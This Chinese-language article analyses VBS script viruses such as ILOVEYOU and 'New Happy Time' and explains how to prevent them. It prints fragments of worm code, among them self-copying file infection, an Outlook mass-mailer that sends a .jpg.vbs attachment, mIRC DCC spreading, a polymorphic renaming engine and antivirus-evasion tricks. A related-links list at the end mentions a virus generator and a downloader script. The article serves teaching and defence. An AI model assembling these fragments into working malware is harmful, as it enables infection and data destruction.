VBS脚本病毒原理分析与防范

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
    上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:

一、Vbs脚本病毒的特点及发展现状
    VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。

二、Vbs脚本病毒原理分析 
1.vbs脚本病毒如何感染、搜索文件
    VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject")  '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall          ' 读取病毒全部代码到字符串变量vbscopy……  
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbscopy                               ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path)   '得到目标文件路径
cop.copy(目标文件.path & ".vbs")          ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)                            '删除目标文件
    上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_)    'scan函数定义,
on error resume next                 '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files               ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)                 '获取文件后缀
  ext=lcase(ext)                  '后缀名转换成小写字母
  if ext="mp5" then        '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。 
    Wscript.echo (file)
  end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders    '搜索其他目录;递归调用
  scan( )  
  scan(subfolder)
next 
end sub 
    上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

2.vbs脚本病毒通过网络传播的几种方式及代码分析 
    VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
    这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
  Set mapiObj=outlookApp.GetNameSpace("MAPI")   //获取MAPI的名字空间
  Set addrList= mapiObj.AddressLists                //获取地址表的个数
  For Each addr In addrList
   If  addr.AddressEntries.Count <> 0 Then
     addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
     For addrEntIndex= 1 To addrEntCount       //遍历地址表的Email地址
       Set item = outlookApp.CreateItem(0)      //获取一个邮件对象实例
       Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
       item.To = addrEnt.Address                     //填入收信人地址        item.Subject = "病毒传播实验"    //写入邮件标题
       item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!"  //写入文件内容
       Set attachMents=item.Attachments   //定义邮件附件
       attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
       item.DeleteAfterSubmit = True      //信件提交后自动删除
       If item.To <> "" Then  
        item.Send                     //发送邮件
        shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
       End If
     Next
   End If
  Next
End if
End Function

2)通过局域网共享传播
    局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
    在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") '创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections   '创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2     '显示网络打印机连接情况
  WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next 
Set colDrives = WSHNetwork.EnumNetworkDrives   '创建一个网络共享连接列表
If colDrives.Count = 0 Then
  MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg 
Else
  strMsg = "当前网络驱动器连接: " & CRLF
  For i = 0 To colDrives.Count - 1 Step 2 
   strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
  Next
  MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg'显示当前网络驱动器连接
End If
    上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。

3)通过感染htm、asp、jsp、php等网页文件传播
    如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance()             '创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()             '创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。

4)通过IRC聊天通道传播
    病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dim mirc 
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")   '创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True '将病毒文件备份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }" 
        '利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
    以上代码用来往Script.ini文件中写入一行代码,实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令,这个文件里面的命令是可以自动执行的。譬如,“歌虫”病毒TUNE.VBS就会修改c:\mirc\script.ini 和 c:\mirc\mirc.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样,如果Pirch98已安装在目标计算机的c:\pirch98目录下,病毒就会修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
    另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中,这样,当其他用户访问这台机器时,就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法,我们这里不再一一列举。

3.VBS脚本病毒如何获得控制权
    如何获取控制权?这一个是一个比较有趣的话题,而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法:
1)修改注册表项
    windows在启动的时候,会自动加载HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。vbs修改贮册表的方法比较简单,直接调用下面语句即可。
wsh.RegWrite(strName, anyvalue [,strType])
2)通过映射文件执行方式
    譬如,我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3)欺骗用户,让用户自己执行
    这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个vbs文件看作自己原来的文件运行。
4)desktop.ini和folder.htt互相配合
    这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt,还可能触发exe文件,这也可能成为病毒得到控制权的一种有效方法!
    病毒获得控制权的方法还有很多,这方面作者发挥的余地也比较大。

4.vbs脚本病毒对抗反病毒软件的几种技巧
    病毒要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS脚本病毒采用如下几种对抗反病毒软件的方法:
1)自加密
譬如,新欢乐时光病毒,它可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")    '创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall    '读取自身代码
fS = Array("Of", "vC", "fS", "fSC")   '定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)))  '取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC  '将替换后的代码写回文件
    上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2)巧妙运用Execute函数
    用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。
3)改变某些对象的声明方法
    譬如fso=createobject("scripting.filesystemobject"),我们将其改变为
fso=createobject("script"+"ing.filesyste"+"mobject"),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4)直接关闭反病毒软件
    VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。

5.Vbs病毒生产机的原理介绍 
    所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。
    脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因,这里不作详细介绍。

三、如何防范vbs脚本病毒 
1.如何从样本中提取(加密)脚本病毒 
    对于没有加密的脚本病毒,我们可以直接从病毒样本中找出来,现在介绍一下如何从病毒样本中提取加密VBS脚本病毒,这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行,第一行<BODY onload="vbscript:KJ_start()">,几行注释后,以<html>开始,</html>节尾。相信每个人都知道这是个什么类型的文件吧! 
    第87行到91行,是如下语句:
87:<script language=vbscript> 
88:ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...;后面省略,很长!
89:Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 3"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 4"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next") 90:Execute(ThisText) 91:</script> 
    第87和91行不用解释了,第88行是一个字符串的赋值,很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar,再加上下面那一行,我们肯定能够猜到ThisText里面放的是病毒解密代码(熟悉vbs的兄弟当然也可以分析一下这段解密代码,too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码(经过解密处理后的代码)。
那么,下一步该怎么做呢?很简单,我们只要在病毒代码解密之后,将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件:
    首先,copy第88、89两行到刚才建立的.txt文件,当然如果你愿意看看新欢乐时光的执行效果,你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码,整个文件如下所示: 
ExeString = "Afi...  ' 第88行代码 Execute("Dim KeyAr... ' 第89行代码 
set fso=createobject("scripting.filesystemobject") ' 创建一个文件系统对象 
set virusfile=fso.createtextfile("resource.log",true) ' 创建一个新文件resource.log,用以存放解密后的病毒代码 virusfile.writeline(ThisText)  ' 将解密后的代码写入resource.log 
    OK!就这么简单,保存文件,将该文件后缀名.txt改为.vbs(.vbe也可以),双击,你会发现该文件目录下多了一个文件resource.log,打开这个文件,怎么样?是不是“新欢乐时光”的源代码啊!

2.vbs脚本病毒的弱点
    vbs脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。笔者认为,VBS脚本病毒具有如下弱点:
1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript代码是通过Windows Script Host来解释执行的。
3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4)通过网页传播的病毒需要ActiveX的支持
5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。

3.如何预防和解除vbs脚本病毒
    针对以上提到的VBS脚本病毒的弱点,笔者提出如下集中防范措施:
1)禁用文件系统对象FileSystemObject
方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{0D43FE01-F093-11CF-8940-00A0C9054228}的项,咔嚓即可。
2)卸载Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件],取消“Windows Scripting Host”一项。
和上面的方法一样,在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的项,咔嚓。
3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个ActiveX组件如果不能运行,网络传播这项功能就玩完了。
6)禁止OE的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9)呵呵,最后一项不说大家也应该知道了,杀毒软件确实很必要,尽管有些杀毒软件挺让广大用户失望,不过,选择是双方的哦。在这个病毒横飞的网络,如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。

四、对所有脚本类病毒发展的展望
    随着网络的飞速发展,网络蠕虫病毒开始流行,而VBS脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的VBS脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如PHP,JS,Perl病毒等。
    但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。笔者认为,脚本病毒仍将继续流行,但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。

(0)

相关推荐

  • VBS.Runauto脚本病毒分析篇

    最近一位同事的笔记本遭遇了这个病毒,正好这学期在给计算机专业的同学们上VBscript于是顺便分析了一下. 首先从染病毒的计算机上提取下来病毒样本,由于是临时发现的,也没有特别准备,就用winrar压缩后保存. 在实验机器上打开病毒样本的压缩文件,我的Symantec 11立即报警,并把病毒删除了.所以必须禁用杀毒软件或者设置一个"例外区域"用于分析病毒,于是在桌面上新建了"evA"文件夹,并将之设置为防病毒例外文件夹,这下病毒样本安静的躺在里面了. 脚本病毒是解释

  • Trojan.DL.VBS.Agent.cpb(k[1].js)脚本病毒的解决方法

    脚本病毒:Trojan.DL.VBS.Agent.cpb (文件名为k[1].js)老是在internet临时文件里出现,瑞星监控杀了又来,如此反复着!我试图清空临时文件,但一上网打开网页(不管是哪些网页),那个k[1].js又会被瑞星监控到.这是怎么回事呀?是误报吗? 该网页利用MS06-014漏洞,下载http://day.91tg.net/xp.dll到C:\WINDOWS\winhelp.dll,并直接写入注册表 Code: HKLM\SOFTWARE\Classes\CLSID\{6B

  • vbs病毒制作之一复制自身的vbs脚本

    复制自身到c盘的huan.vbs ASP/Visual Basic代码 复制代码 代码如下: set copy1=createobject("scripting.filesystemobject")          copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")

  • 对一个vbs脚本病毒的病毒原理分析

    一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如果发现文中有什么错误或者是有啥建议,可以直接留言给我,谢谢! 二.目录 整个分析过程可以分为以下几个部分: 0x00 准备工作 0x01 解密部分 0x02 功能分析 三.分析过程 0x00 准备工作 windows xp的虚拟机(在自己的windows下也可以做) vbs的一些基本语法 0x01 解密部分 右击病毒文件然后编辑打开或者是直接把其后缀修改成txt直接打开都行,可以看到一大段

  • vbs脚本病毒生成器 下载

    Vbs脚本病毒生成器 V1.0 版  简 介: 国产的新编的vbs脚本病毒生成器1.0版, 本程序通过采集用户的各项输入.选择,产生符合需要的vbs脚本病毒,属于傻瓜式的vbs病毒制造程序.从此以后,要制造vbs脚本病毒不用再学编程了!(当然还是懂点编程为妙:-)). 需要注意的是,请您不要运行产生的vbs病毒!另外,产生病毒的同时,本程序也产生一个恢复文件,叫做"reset.vbs",万一您不慎运行了病毒,可以运行它解毒!怎麽样?想得够周到吧! 我们可以利用它的功能,来学习vbs的各

  • VBS脚本病毒原理分析与防范

    网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候.当您收到一封主题为"I Love You"的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候:当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的"爱虫"网络蠕虫病毒.由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑.微软.Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元.而去年爆发的新欢

  • 浅谈web上存漏洞及原理分析、防范方法(文件名检测漏洞)

    我们通过前篇:<浅谈web上存漏洞及原理分析.防范方法(安全文件上存方法)>,已经知道后端获取服务器变量,很多来自客户端传入的.跟普通的get,post没有什么不同.下面我们看看,常见出现漏洞代码.1.检测文件类型,并且用用户上存文件名保存 复制代码 代码如下: if(isset($_FILES['img'])){    $file = save_file($_FILES['img']); if($file===false) exit('上存失败!'); echo "上存成功!&qu

  • 探讨:web上存漏洞及原理分析、防范方法

    网站提供上存功能,是很多站点经常会有功能,商城,论坛还有常见一些网盘站点.常见互联网上面,我们也是经常听说,某某站点出现上存漏洞,某某开源项目有上存漏洞. 从互联网开始出现动态程序,上存漏洞像幽灵一样,频繁的出现在各种系统中.为什么,一个上存漏洞会这么频繁出现呢.而且,有些系统反复修补,多次还没有修补成功!其实主要问题,还是出现在上存原理上面.我们先看看,上存过程.网站上存过程分析 复制代码 代码如下: <?phpheader("Content-type: text/html; chars

  • 浅谈web上存漏洞及原理分析、防范方法(安全文件上存方法)

    这类漏洞,主要是可以读取用户传入路径名称,采用不正确的过滤方法,导致恶意用户,将文件上存到非预期的地方,带来安全隐患. 其实,我们抓住几个地方即可,我们先来分析下,既然用户要上存文件,而且文件将是多种多样格式:可能有的文件内容与用户传入格式不一致,有的文件内容还夹杂木马代码. 那么,我们让用户上存文件,跟站点文件做一个分别授权,做隔离. 让保存上存目录独立开来,目录权限只读不能执行这一步从系统设计加以授权,无论你上次什么文件,都不可能执行到.就算我不做任何检测,你的文件都上存到这里了,也不会对我

  • 收集的一些经典的vbs脚本大全

    记录一些经典的vbs脚本 1.文件下载(无回显)  echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe  echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe  echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe  echo xPost.Open "GET",i

  • 对超级脚本病毒的构思

    对超级脚本病毒的构思 告别了以往爱出风头,爱吹牛皮的时代,学点真本事才是硬道理.好好学习,天天向上.下面是对超级脚本病毒的构想. 脚本病毒的制造非常的容易,对于一个对编程一窍不通的人来说,只要对windows系统和注册表有足够的了解,在到网络上下载几个病毒代码仔细看看,就能在短时间内写出一个病毒的变种体来,脚本病毒的特征性就是那么几个,没有多少编程技巧而言,所以真正的病毒制造者是不用vbscript写病毒的,现在由于脚本语言的流行,以及Micrsoft推出的WSH(Windows Script 

随机推荐